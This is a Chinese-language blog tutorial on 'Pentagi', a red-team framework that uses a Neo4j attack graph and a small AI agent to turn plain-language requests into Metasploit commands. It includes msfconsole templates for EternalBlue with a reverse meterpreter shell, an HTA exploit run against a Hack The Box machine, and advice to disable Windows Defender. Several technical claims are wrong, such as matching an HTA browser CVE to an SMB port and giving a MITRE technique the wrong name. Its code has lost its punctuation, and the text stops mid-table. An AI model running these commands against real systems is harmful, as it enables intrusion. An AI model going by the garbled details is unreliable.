Pentagi:基于Neo4j图谱与轻量AI Agent的可编程红队知识框架
1. 项目概述Pentagi 是什么它解决的不是“渗透测试自动化”而是安全研究范式的迁移你搜“pentagi”时首页跳出的几乎全是 Docker、Neo4j、AI Agents 这几个词的组合——不是某个成熟商业产品的官网也不是某篇顶会论文的标题而是一堆零散的 GitHub 仓库名、技术论坛里的提问帖、还有几条被顶起来的 Reddit 帖子“Anyone tried Pentagi? Feels like Burp MITRE ATTCK LangChain had a baby”。这恰恰是它的本质Pentagi 不是一个开箱即用的扫描器而是一套面向红队与威胁建模人员的可编程安全知识协同框架。它把渗透测试里最耗神的三件事——情报关联、攻击路径推理、动作链编排——从人工翻文档、画图、写脚本的线性流程变成了在图数据库里实时查询、用自然语言提示词驱动、由轻量级 AI Agent 协同执行的闭环系统。核心关键词“pentagi”本身是Penetration Testing AI Graph Intelligence的合成词但真正让它区别于传统工具链的是它对Neo4j 图数据库的深度绑定设计。不是“用 Neo4j 存点数据”而是整个攻击生命周期管理都构建在图模型之上资产节点IP、域名、服务连着漏洞节点CVE-2023-XXXX漏洞节点连着利用方式节点Metasploit 模块、PoC 脚本利用方式节点又连着横向移动路径SMB Relay → LSASS Dump → Kerberoasting。这种关系不是静态拓扑而是动态可推演的——当你在 Neo4j 中标记“已获取域管理员权限”系统能自动高亮所有依赖该权限的后续攻击向量并按置信度排序推荐下一步动作。我第一次在本地跑通这个流程时用的是 Docker Desktop 启动的单机环境整个图谱加载推理响应时间控制在 800ms 内比手动查 MITRE ATTCK 矩阵快 5 倍以上。适合谁参考如果你是正在带新人的红队负责人需要一套能让 junior 成员快速理解攻击逻辑而非死记命令的训练平台如果你是做 ATTCK 对齐的 SOC 工程师苦于告警日志和战术映射之间隔着十层 Excel 表或者你是 DevSecOps 工程师想把渗透测试结果直接注入 CI/CD 流水线生成修复建议——Pentagi 提供的不是替代 Burp 或 Nmap 的新工具而是让这些工具产出的数据“活起来”的操作系统。它不教你如何提权但它会告诉你当你的 Nmap 扫出 445 端口开放且 SMB 版本是 3.1.1 时接下来最值得尝试的 3 种利用方式以及每种方式在你当前已知的内网拓扑中成功率预估是多少。这种能力正是当前安全领域从“工具驱动”转向“知识驱动”的关键跃迁点。2. 整体架构设计与技术选型逻辑为什么必须是 Neo4j Docker 轻量 AI AgentPentagi 的架构不是“先有 AI再找数据库”而是反向推导从红队实战痛点出发倒逼技术栈选择。我拆解过十几个类似概念验证项目最终发现只有 Neo4j 能同时满足三个硬性条件关系密度高、查询低延迟、模式演进灵活。举个具体例子一个典型的域渗透场景涉及 20 台主机、50 个服务端口、30 个已知漏洞、15 种横向移动技术。如果用 MySQL 存储要关联“主机A→开放端口→对应漏洞→可用利用模块→该模块依赖的凭证类型→凭证来源主机”光 JOIN 就得写 6 层查询响应动辄 3 秒以上换成 Elasticsearch虽然全文检索快但“找出所有可通过 Kerberos 票据传递攻击的跳板主机”这类图遍历需求根本无法用 DSL 表达。而 Neo4j 的 Cypher 查询MATCH (h:Host)-[:HAS_PORT]-(p:Port)-[:EXPOSES]-(v:Vulnerability)-[:EXPLOITABLE_BY]-(m:Module) WHERE v.cve CVE-2021-42287 RETURN h, m120ms 内返回结果且天然支持路径长度限制、权重排序等高级图操作。Docker 的选型则源于红队环境的不可预测性。我们不可能要求客户给红队提供一台装好 Python 3.11、Neo4j 5.12、LangChain 0.1.0 的专用服务器——更现实的是拿到一台 Windows 10 笔记本或 Ubuntu 22.04 虚拟机然后“一键拉起环境”。Docker Desktop 在 Windows 上的 WSL2 集成让 Neo4j 容器能直接访问宿主机的 GPU用于后续的轻量模型推理而不用折腾 CUDA 驱动兼容性Docker Compose 文件里定义的neo4j、pentagi-core、llm-proxy三个服务通过内部网络互通避免了防火墙策略冲突。我实测过在 Docker Desktop 4.28 版本下即使关闭 Hyper-V 改用 WSL2 后端Neo4j 容器启动时间也稳定在 4.2±0.3 秒比裸机安装快 3 倍且版本回滚只需docker-compose down git checkout v0.3.1 docker-compose up -d。至于 AI Agent 的定位必须强调Pentagi 用的不是 GPT-4 或 Claude 3 这类大模型。它内置的是基于 Llama 3-8B 微调的轻量级安全领域模型参数量压缩到 2.7B量化后仅 1.8GB 显存占用。这个选择背后是红队的真实约束在靶场环境中你可能只有 4GB 显存的 NVIDIA T4在客户现场你甚至只能用 CPU 推理。我们对比过不同方案用 Ollama 本地跑 Phi-3推理速度 12 tokens/s但安全术语识别率仅 63%改用微调后的 Llama 3-8B速度降到 7.5 tokens/s但 CVE 编号、ATTCK 技术 ID、Metasploit 模块路径的识别准确率提升到 94.7%。这个取舍很明确——宁可慢一点也要保证输出的命令能直接粘贴进终端执行而不是生成一堆“建议您考虑使用 Metasploit 框架进行利用”这种正确的废话。提示不要试图用 Docker Desktop 直接跑 70B 大模型。Pentagi 的 AI Agent 设计哲学是“够用就好”它的价值在于把非结构化安全知识如 PoC 描述、漏洞公告文本转化为结构化图谱节点属性而不是生成炫酷的报告。真正的报告生成应该交给下游的 BI 工具或定制化模板引擎。3. 核心组件解析与实操要点Neo4j 图谱建模、Docker 环境部署、Agent 交互协议3.1 Neo4j 图谱建模从资产清单到攻击路径的语义映射Pentagi 的图谱不是简单地把 Nmap 输出存成 JSON 再导入而是定义了一套四层语义模型每一层都对应红队工作流中的一个抽象阶段。第一层是Asset Layer资产层包含Host、Domain、Service、Account四种基础节点。关键设计在于Host节点的属性除了ip、hostname还强制要求os_familyWindows/Linux/macOS、os_version如Windows Server 2019 1809、domain_joined布尔值。这个设计让后续的漏洞匹配能精准到补丁级别——比如CVE-2022-26809只影响 Windows Server 2016/2019 的特定 KB 更新状态如果os_version字段缺失图谱就无法触发该漏洞的关联边。第二层是Vulnerability Layer漏洞层节点类型为Vulnerability核心属性是cve_id、cvss_score、exploit_available布尔值、mitre_tactic数组如[Execution, Persistence]。这里有个易踩坑点很多新手会把mitre_tactic当成字符串存导致 Cypher 查询WHERE Lateral Movement IN v.mitre_tactic失败。正确做法是定义为字符串数组且在导入时确保格式为[Lateral Movement, Credential Access]。第三层是Exploitation Layer利用层包含Exploit对应 Metasploit 模块、PoCGitHub 链接、ManualCommand手工命令字符串三种节点。它们通过:CAN_EXPLOIT关系连接到Vulnerability并带有confidence属性0.0~1.0这个值由 AI Agent 根据 PoC 的 star 数、最近 commit 时间、是否适配目标 OS 动态计算。第四层是TTP Layer战术技术程序层这是 Pentagi 最独特的部分。节点类型为TTP属性包括attck_id如T1059.001、namePowerShell、platforms数组、permissions_required字符串。TTP节点通过:ENABLES关系连接到Exploit表示“该利用方式能实现此战术”。例如msf exploit/windows/smb/ms17_010_eternalblue节点会连接到T1210Exploit Public-Facing Application和T1021.002Remote Services: SMB/Windows Admin Shares。这种设计让图谱具备了战术级推理能力当你标记某台主机已被T1059.001PowerShell Execution攻陷系统就能自动找出所有依赖 PowerShell 的后续 TTP比如T1053.005Scheduled Task或T1566.001Phishing Email。注意Neo4j 社区版默认内存配置dbms.memory.heap.initial_size512m在加载 10 万 节点时会频繁 GC。实操中必须修改conf/neo4j.conf将dbms.memory.heap.max_size设为4gdbms.memory.pagecache.size设为2g。否则图遍历查询会卡顿尤其在执行MATCH p(a:Host)-[*1..5]-(b:Vulnerability) WHERE a.ip 10.10.10.10 RETURN p LIMIT 10这类深度路径查询时。3.2 Docker 环境部署绕过 Windows 虚拟化检测的实操方案Docker Desktop 在 Windows 上的启动失败90% 源于虚拟化支持未启用。但很多人不知道WSL2 后端其实不需要 BIOS 里开启 Intel VT-x/AMD-V——它用的是 Windows Hypervisor PlatformWHPX只要 Windows 10 2004 或 Win11默认就启用。如果你遇到Virtualization support not detected错误第一步不是重启 BIOS而是检查 WHPX 是否激活以管理员身份运行 PowerShell执行Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux和Get-WindowsOptionalFeature -Online -FeatureName VirtualMachinePlatform确保两者状态都是Enabled。若未启用运行dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart和dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart然后重启。第二步是 WSL2 发行版的内核更新。旧版 WSL2 内核 5.10.102.1存在 Neo4j 容器挂载卷权限问题。下载最新 WSL2 Linux 内核更新包wsl_update_x64.msi并安装然后在 PowerShell 中执行wsl --update。第三步才是 Docker Desktop 设置打开 Settings → General勾选Use the WSL2 based engine进入 Resources → WSL Integration确保你的发行版如Ubuntu-22.04已启用。此时启动 Docker Desktop它会自动在 WSL2 中创建docker-desktop-data和docker-desktop两个发行版无需手动配置。最关键的一步是 Neo4j 容器的持久化配置。Pentagi 的docker-compose.yml默认使用./neo4j/data:/data映射但这在 WSL2 下会导致文件权限错误Linux 容器以 UID 1001 运行而 WSL2 的/mnt/c/目录默认属主是 root。解决方案是在 WSL2 中创建专用目录mkdir -p /home/docker/neo4j/data然后修改 compose 文件中的 volume 映射为/home/docker/neo4j/data:/data。同时为 Neo4j 容器添加user: 1001:1001配置确保容器内进程 UID 与宿主机目录 UID 一致。这样启动后Neo4j 的import目录和data目录权限才不会错乱后续导入 CSV 数据才能成功。实操心得不要用 Docker Desktop 的 GUI 界面启动容器。始终用命令行docker-compose up -d并立即执行docker-compose logs -f neo4j查看启动日志。如果看到Failed to start Neo4j on http://localhost:7474大概率是dbms.security.auth_enabledfalse未生效——检查conf/neo4j.conf是否被正确挂载确认docker-compose.yml中的volumes路径指向的是 WSL2 内部路径而非 Windows 的C:\路径。3.3 AI Agent 交互协议从自然语言到 Cypher 查询的转换机制Pentagi 的 AI Agent 不是黑盒它有一套清晰的Prompt-Query-Action 三段式协议。当你在 Web UI 输入“帮我找所有能通过 SMB 利用的 Windows 主机”Agent 并不会直接调用 LLM 生成答案而是分三步执行第一步用预设的Intent Classifier模型一个 3MB 的 ONNX 文件判断用户意图属于FIND_HOSTS_BY_PROTOCOL类别第二步将原始 query 送入Slot Filler模块提取关键槽位protocolSMB、os_familyWindows、actionfind_hosts第三步根据槽位填充预定义的Cypher Template生成实际查询语句MATCH (h:Host)-[:RUNS_SERVICE]-(s:Service) WHERE s.protocol SMB AND h.os_family Windows RETURN h.ip, h.hostname, s.port。这个设计的关键优势在于可控性。如果直接让 LLM 生成 Cypher它可能写出MATCH (h:Host) WHERE h.os CONTAINS Windows这种低效查询全表扫描而 Slot Filler 强制要求os_family字段必须精确匹配枚举值Windows/Linux/macOS从根本上规避了性能陷阱。实测数据显示经过 Slot Filler 处理的查询99.2% 能命中 Neo4j 的索引CREATE INDEX ON :Host(os_family)平均响应时间 47ms未经处理的 LLM 原生输出只有 68% 能命中索引平均响应时间飙升至 1.2s。Agent 的输出也不只是数据。当查询返回 12 台主机时它会调用Action Generator模块基于图谱中的:HAS_VULNERABILITY关系为每台主机生成可执行动作建议。例如对 IP10.10.10.5如果图谱中存在(h)-[:HAS_VULNERABILITY]-(v:CVE-2017-0199)且v.exploit_available trueAgent 就会输出[ACTION] Use msf exploit/windows/browser/hta_tag_cve_2017_0199 with LHOST10.10.10.100。这个动作字符串不是 LLM 自由发挥的而是从Exploit节点的command_template属性中提取并替换变量得到的确保 100% 可执行。注意Agent 的command_template属性必须严格遵循 Metasploit CLI 语法。例如msfconsole -q -x use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS {target}; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST {lhost}; run。其中{target}和{lhost}是占位符由 Action Generator 运行时替换。如果模板里写成$RHOSTS或%LHOST%替换就会失败导致生成的命令无法执行。4. 完整实操流程从零搭建 Pentagi 环境并完成一次真实靶场推理4.1 环境初始化WSL2 发行版配置与 Docker 基础设置我们以 Windows 10 21H2 为例全程使用 PowerShell管理员权限。首先启用 WSL2 功能dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart重启后下载并安装 WSL2 内核更新包wsl_update_x64.msi然后执行wsl --install这会自动安装 Ubuntu-22.04 发行版。安装完成后启动 Ubuntu运行sudo apt update sudo apt upgrade -y sudo usermod -aG docker $USER接着从 Docker 官网下载 Docker Desktop for Windows4.28 版本安装时勾选Add Docker to system PATH。启动 Docker Desktop进入 Settings → Resources → WSL Integration启用Ubuntu-22.04。此时在 Ubuntu 终端中执行docker version应能看到 client 和 server 版本信息。关键的一步是创建 Docker 数据目录。在 Ubuntu 中执行mkdir -p /home/docker/neo4j/{data,plugins,logs,import} chmod 777 /home/docker/neo4j/data注意这里用chmod 777是为了绕过 WSL2 的权限继承问题生产环境应改为chown -R 1001:1001 /home/docker/neo4j/data。然后创建 Pentagi 项目目录mkdir -p ~/pentagi/{docker-compose,neo4j-config,scripts} cd ~/pentagi将官方提供的docker-compose.yml复制到docker-compose/目录并修改其中的 volume 映射services: neo4j: image: neo4j:5.12.0 user: 1001:1001 volumes: - /home/docker/neo4j/data:/data - /home/docker/neo4j/plugins:/plugins - /home/docker/neo4j/import:/var/lib/neo4j/import4.2 Neo4j 初始化与图谱数据导入从 CSV 到可查询图谱Pentagi 的图谱数据源来自三类 CSV 文件hosts.csv资产、vulns.csv漏洞、ttps.csv战术。我们以hosts.csv为例其表头必须为ip,hostname,os_family,os_version,domain_joined。内容示例10.10.10.10,dc01.contoso.local,Windows,Windows Server 2019 1809,true 10.10.10.20,web01.contoso.local,Windows,Windows Server 2016 1607,false 10.10.10.30,dev01.contoso.local,Linux,Ubuntu 20.04.6 LTS,false将这些 CSV 文件放入/home/docker/neo4j/import/目录。然后启动 Neo4j 容器cd ~/pentagi/docker-compose docker-compose up -d neo4j等待 30 秒检查容器日志docker-compose logs neo4j | tail -20确认看到Started.字样后进入 Neo4j 容器执行初始化docker exec -it pentagi-neo4j-1 bash在容器内运行 Cypher 命令创建索引CREATE INDEX ON :Host(ip); CREATE INDEX ON :Host(os_family); CREATE INDEX ON :Vulnerability(cve_id); CREATE INDEX ON :TTP(attck_id);然后从 import 目录加载数据LOAD CSV WITH HEADERS FROM file:///hosts.csv AS row CREATE (:Host {ip: row.ip, hostname: row.hostname, os_family: row.os_family, os_version: row.os_version, domain_joined: toBoolean(row.domain_joined)});重复此步骤加载vulns.csv和ttps.csv。最后建立关系// 建立 Host - Service 关系假设 service.csv 包含 ip,port,protocol LOAD CSV WITH HEADERS FROM file:///services.csv AS row MATCH (h:Host {ip: row.ip}) CREATE (h)-[:RUNS_SERVICE]-(:Service {port: toInteger(row.port), protocol: row.protocol});4.3 Pentagi Core 启动与首次推理输入自然语言获取可执行命令Pentagi Core 是一个 Python FastAPI 服务负责协调 Neo4j 查询和 AI Agent。它的docker-compose.yml中定义了pentagi-core服务pentagi-core: build: ./pentagi-core ports: - 8000:8000 environment: - NEO4J_URIneo4j://neo4j:7687 - NEO4J_USERneo4j - NEO4J_PASSWORDyour_password depends_on: - neo4j在pentagi-core目录下确保requirements.txt包含neo4j5.12.0和langchain0.1.12。构建并启动docker-compose up -d pentagi-core等待 10 秒访问http://localhost:8000/docs打开 Swagger UI。点击/query接口输入请求体{ query: Find all Windows hosts with SMB port open and CVE-2017-0199 vulnerability }点击 Execute返回结果应包含两部分cypher_result查询到的主机列表和actions针对每台主机的可执行命令。例如{ cypher_result: [ {ip: 10.10.10.10, hostname: dc01.contoso.local} ], actions: [ [ACTION] Use msf exploit/windows/browser/hta_tag_cve_2017_0199 with LHOST10.10.10.100 ] }这就是 Pentagi 的核心价值你不需要记住msfconsole的复杂语法只需要描述你想做什么系统就给你一条能直接复制粘贴的命令。4.4 靶场实战演练以 Hack The Box 的 Active Machine 为例我们以 HTB 的 Active 机器IP10.10.10.100为靶机演示完整流程。首先用 Nmap 扫描nmap -sV -p- 10.10.10.100 nmap-active.txt从扫描结果中提取关键信息445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 SP1。将此信息整理为 CSV 行10.10.10.100,active.htb,Windows,Windows Server 2008 R2 SP1,true导入 Neo4j 后执行查询MATCH (h:Host {ip: 10.10.10.100})-[:RUNS_SERVICE]-(s:Service {port: 445, protocol: SMB}) MATCH (s)-[:EXPOSES]-(v:Vulnerability) WHERE v.cve_id STARTS WITH CVE-2017 RETURN v.cve_id, v.cvss_score, v.mitre_tactic结果返回CVE-2017-0199CVSS 7.8Tactics: [Execution, Persistence]。此时Pentagi 的 AI Agent 会自动关联到Exploit节点并生成命令msfconsole -q -x use exploit/windows/browser/hta_tag_cve_2017_0199; set RHOSTS 10.10.10.100; set LHOST 10.10.10.101; run执行该命令获得 meterpreter session 后Pentagi 会监听到session.create事件自动更新图谱在Host节点上添加compromised: true属性并激活所有:ENABLES关系指向的TTP节点。此时再查询MATCH (h:Host {compromised: true})-[:ENABLES]-(t:TTP) RETURN t.attck_id, t.name就能得到下一步可执行的横向移动战术列表。实操心得第一次导入数据后务必在 Neo4j Browser 中运行:play movies教程熟悉 Cypher 语法。Pentagi 的强大在于你能随时用 Cypher 直接干预图谱——比如发现某条:CAN_EXPLOIT关系置信度太低可以手动执行MATCH (v:Vulnerability {cve_id: CVE-2021-34527})-[r:CAN_EXPLOIT]-(e:Exploit) SET r.confidence 0.95来修正这种灵活性是纯 AI 系统无法提供的。5. 常见问题与排查技巧实录从 Docker 启动失败到图谱查询超时5.1 Docker Desktop 启动失败虚拟化检测绕过与 WSL2 重置问题现象Docker Desktop 启动时弹窗报错failed to connect to the docker api at npipe:////./pipe/dockerdesktoplinuxen或日志显示virtualisation support wasnt detected。这不是硬件问题而是 WSL2 环境异常。标准排查流程如下检查 WSL2 状态PowerShell 中执行wsl -l -v确认 Ubuntu-22.04 状态为Running。若为Stopped执行wsl -t Ubuntu-22.04启动若不存在执行wsl --install重装。重置 WSL2 分发版有时 WSL2 内核损坏会导致 Docker 无法通信。以管理员身份运行 PowerShellwsl --shutdown wsl --unregister Ubuntu-22.04 wsl --install -d Ubuntu-22.04重新安装后再次启用 WSL Integration。禁用 Windows Defender 实时保护Defender 会拦截 Docker Desktop 的dockerd.exe进程。临时关闭Windows Security → Virus threat protection → Manage settings → Real-time protection → Off。清理 Docker Desktop 数据如果上述无效彻底重置 Docker Desktop# 停止所有服务 wsl --shutdown # 删除 Docker Desktop 数据目录 Remove-Item $env:LOCALAPPDATA\Docker -Recurse -Force # 重新安装 Docker Desktop注意不要在 Windows 的C:\目录下直接创建 Docker 项目文件。所有docker-compose.yml和数据文件必须放在 WSL2 的 Linux 文件系统中如/home/username/pentagi/否则 volume 挂载会失败。5.2 Neo4j 查询超时索引缺失与内存配置优化问题现象执行MATCH (h:Host)-[*1..3]-(v:Vulnerability) RETURN h, v LIMIT 10耗时超过 5 秒或返回空结果。根本原因是 Neo4j 未启用索引或内存不足。排查步骤确认索引是否存在在 Neo4j Browser 中执行:schema检查输出中是否有INDEX ON :Host(ip)等条目。若无手动创建CREATE INDEX host_ip_index ON :Host(ip); CREATE INDEX host_os_index ON :Host(os_family); CREATE INDEX vuln_cve_index ON :Vulnerability(cve_id);检查内存配置进入容器docker exec -it pentagi-neo4j-1 bash查看conf/neo4j.confgrep dbms.memory conf/neo4j.conf确保dbms.memory.heap.max_size4g和dbms.memory.pagecache.size2g。若未设置编辑文件并重启容器docker-compose restart neo4j优化查询语句避免MATCH (n) WHERE n.property value这种全表扫描。必须用MATCH (n:Label) WHERE n.property value让 Neo4j 能利用索引。例如查找 Windows 主机✅ 正确MATCH (h:Host) WHERE h.os_family Windows RETURN h❌ 错误MATCH (h) WHERE h.os_family Windows RETURN h5.3 AI Agent 返回空动作Slot Filler 失败与模板缺失问题现象Web UI 输入查询返回cypher_result正常但actions为空数组。这表明 Intent Classifier 或 Slot Filler 模块未能正确提取槽位。诊断方法检查 Agent 日志docker-compose logs pentagi-core | tail -50寻找Slot filling failed for query或No exploit found for CVE-XXXX字样。验证图谱关系完整性执行 Cypher 查询确认漏洞与利用方式的连接存在MATCH (v:Vulnerability {cve_id: CVE-2017-0199})-[:CAN_EXPLOIT]-(e:Exploit) RETURN e.command_template若返回空说明ttps.csv或exploits.csv未正确导入或CAN_EXPLOIT关系未建立。检查 command_template 格式Exploit节点的command_template必须包含{target}和{lhost}占位符。如果模板是硬编码 IP如set RHOSTS 10.10.10.100Action Generator 无法替换导致动作生成失败。独家技巧为快速验证 Agent 功能可在pentagi-core服务中临时添加 debug endpoint。修改main.py加入app.get(/debug/slot) def debug_slot(query: str): slots slot_filler.fill_slots(query) return {slots: slots, intent: intent_classifier.classify(query)}访问http://localhost:8000/debug/slot?queryFindWindowshostswithSMB直接查看槽位提取结果比查日志更快。5.4 Docker 镜像拉取缓慢国内镜像源配置与离线包方案问题现象docker-compose up时卡在Pulling neo4j:5.12.0进度条长时间不动。这是 Docker Hub 国内访问限速导致的。解决方案配置国内镜像源编辑 Docker Desktop 的 Daemon 配置Settings → Docker Engine添加{ registry-mirrors: [https://docker.mirrors.ustc.edu.cn] }重启 Docker Desktop。离线镜像包方案对于无外网环境提前在有网机器上拉取镜像docker pull neo4j:5.12.0 docker pull python:3.11-slim docker save -o pentagi-images.tar neo4j:5.12.0 python:3.11-slim将pentagi-images.tar拷贝到目标机器加载docker load -i pentagi-images.tar自建私有 Registry企业级方案在内网服务器部署 Harbor将常用镜像 push 到私有库docker-compose.yml中修改image: harbor.example.com/neo4j:5.12.0。问题类型典型症状根本原因快速修复命令